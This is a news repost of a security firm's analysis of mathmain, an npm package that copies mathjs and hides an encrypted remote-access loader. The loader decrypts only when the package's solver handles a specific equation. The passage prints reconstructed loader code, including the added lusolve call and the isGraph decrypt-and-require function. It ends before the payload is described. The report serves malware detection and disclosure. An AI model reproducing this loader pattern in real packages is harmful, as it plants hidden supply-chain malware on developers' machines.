Skip to content
Tech News
← Back to articles

Why does mathmain need an encrypted loader?

read original more articles
Why This Matters

This report reveals a sophisticated supply-chain attack hidden inside a fake npm package impersonating mathjs, where malicious code stays dormant until triggered by a specific mathematical operation, then decrypts and executes a remote access payload. This matters because it shows attackers embedding logic bombs deep in legitimate-looking library code, using computation results as decryption keys to evade static analysis and sandbox detection, and leveraging blockchain and chat services for stealthy command-and-control.

Key Takeaways

We found a remote access implant hidden inside [email protected] , an npm package that copies the popular mathjs library. The malicious code ships encrypted. It stays dormant until a program solves a specific equation with the library. That equation is the key. When the key matches, the package decrypts a payload and runs it. The payload takes commands from the attacker and runs them on the host. It uses a public chat service and a blockchain network for its command channel. This post shows how we found the loader, how we decrypted it, what the payload does, and the indicators you can use to find it.

We started with a SafeDep analysis of mathmain on September 17, 2026. The package looked like a copy of mathjs with a different name and obfuscated code. One added call in the solver led us to the loader.

A solver calls a type check

Near the end of lusolve() , we found an extra call in the CommonJS build. The solver had already calculated its result. It then passed data from the lower triangular matrix to removeSolveValidation() :

lib/cjs/function/algebra/solver/lusolve.js 1 // Readable reconstruction: recovered strings and renamed local variables. 2 l && (q = removeSolveValidation (l._data)); 3 4 return x;

Here, l holds the lower triangular matrix and x holds the result. The solver returns x unchanged. It assigns the extra call’s return value to q , but does not use q again.

We followed removeSolveValidation() to isGraph(x) in lib/cjs/utils/is.js . This file contains checks such as isMatrix and isNumber . The added isGraph() function decrypts and loads code:

lib/cjs/utils/is.js 1 // Readable reconstruction: recovered strings and renamed local variables. 2 const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==' ; 3 4 function isGraph ( x ) { 5 const password = JSON . stringify (x); 6 const name = validEvent ( STAGE1_BLOB , password); 7 const target = path. join (__dirname, name); 8 const mod = require ( event (target, password)); 9 10 return (x && mod. validGraph (password)) || false ; 11 }

isGraph() converts its input to a JSON string and uses that string as a password. It first decrypts a filename. It then passes the file path and password to event() , and loads the returned path with require() .

We have made the loader snippets easier to read by restoring strings and renaming local variables. The hashes at the end of this post identify the original files.

... continue reading